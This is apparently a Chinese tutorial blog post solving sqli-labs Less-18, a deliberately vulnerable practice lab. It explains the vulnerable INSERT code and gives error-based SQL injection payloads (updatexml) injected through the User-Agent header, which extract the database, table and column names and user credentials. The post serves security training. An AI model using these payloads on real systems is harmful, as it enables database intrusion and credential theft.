当前位置: 首页 > news >正文

sqli-labs:Less-18关卡详细解析

1. 思路🚀

本关的SQL语句为:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  • 注入类型:字符串型(单引号包裹)、INSERT操作
  • 提示:参数需以'闭合
  • 关键参数:uagent

php输出语句的部分代码:

if($row1)
{echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';			echo 'Your User Agent is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg"  />';echo "<br>";
}

本关卡的回显语句是echo 'Your User Agent is: ' .$uagent;,而且必须通过正确的账号密码后才会回显User-Agent信息,这是由源码决定的,需要已知的账号和密码,暂且每次提交的账号密码都是admin,根据提示,insert配合报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

本次解析需要抓包,就使用Burpsuite的Repeater功能展示一下,工具自备,相信会很快上手。
接下来的操作,只需要将下面的User-Agent放入对应位置,粘贴即可。

2.1. 判断回显位⚡

正常提交账号:admin,密码:admin,抓取一下数据包,选中Repeater功能就行。
在这里插入图片描述
在这里插入图片描述


2.2. 获取基本信息⚡

接下来配合updatexml函数实现报错盲注

1' and updatexml(1,concat(1,(select database())),3) and'

在这里插入图片描述
在这里插入图片描述

为什么 User-Agent: 1' and updatexml(1,concat(1,(select database())),3) and' 可以成功?
这段代码的 SQL 注入点在于 $uagent 被直接拼接到 SQL 语句中:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

如果 $uagent 被替换为:

1' and updatexml(1,concat(1,(select database())),3) and'

那么最终的 SQL 语句会变成:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1' and updatexml(1,concat(1,(select database())),3) and'', '$IP', $uname)

解析:

  • '1' 先闭合了前面的单引号。
  • and updatexml(1,concat(1,(select database())),3) 执行错误注入,返回数据库名。
  • and '' 确保后面的单引号被闭合,避免语法错误。
  • 整体 SQL 语法正确,成功执行并返回数据库名。

2.3. 获取表名⚡

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and'

在这里插入图片描述
在这里插入图片描述


2.4. 获取字段⚡

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and'

在这里插入图片描述
在这里插入图片描述


2.5. 获取数据⚡

下面是获取一个用户的sql语句,修改limit偏移量可获取其余用户的账号密码信息。

1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and'

在这里插入图片描述
在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

关于用sqlmap工具直接爆破不好使,而且对于本关卡来说用处不大。通过本关卡,尝试在http请求头上做文章,从而达到sql注入的效果,这在后面也是会经常遇到的,同时配合报错盲注获取数据。

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/1228663.html

相关文章:

  • 【隧道篇 / IPsec】(7.6) ❀ 02. 如何删除向导创建的IPsec安全隧道 (点对点) ❀ FortiGate 防火墙
  • K8S部署ELK(三):部署Elasticsearch搜索引擎
  • Java基础——实现图书管理系统交互功能
  • java实现运行SQL脚本完成数据迁移
  • String boot 接入 azure云TTS
  • 【深度学习②】| DNN篇
  • Python 字典为什么查询高效
  • Python编程基础与实践:Python基础数据类型入门
  • 如何在Ubuntu上部署excalidraw
  • 逻辑回归 银行贷款资格判断案列优化 交叉验证,调整阈值,下采样与过采样方法
  • 管家婆线下CS产品创建账套(普普、普及、辉煌II)
  • 小迪23-28~31-js简单回顾
  • LINUX82 shell脚本变量分类;系统变量;变量赋值;四则运算;shell
  • PYTHON从入门到实践-18Django从零开始构建Web应用
  • 9.3panic!最佳实践
  • 硬件-电容学习DAY1——钽电容失效揭秘:从冒烟到爆炸全解析
  • Next.js 怎么使用 Chakra UI
  • day38 力扣279.完全平方数 力扣322. 零钱兑换 力扣139.单词拆分
  • python---literal_eval函数
  • 轨道追逃博弈仿真
  • Node.js 路由与中间件
  • StarRocks vs ClickHouse:2025 年 OLAP 引擎终极对比指南
  • 高效截图的4款工具深度解析
  • cmd怎么取消关机命令
  • Oracle 11g RAC集群部署手册(二)
  • C语言(长期更新)第7讲:VS实用调试技巧
  • 仿真电路:(十七下)DC-DC升压压电路原理简单仿真
  • 【DL学习笔记】计算图与自动求导
  • 鸿蒙智选携手IAM进驻长隆熊猫村,为国宝打造智慧健康呼吸新空间
  • [硬件电路-120]:模拟电路 - 信号处理电路 - 在信息系统众多不同的场景,“高速”的含义是不尽相同的。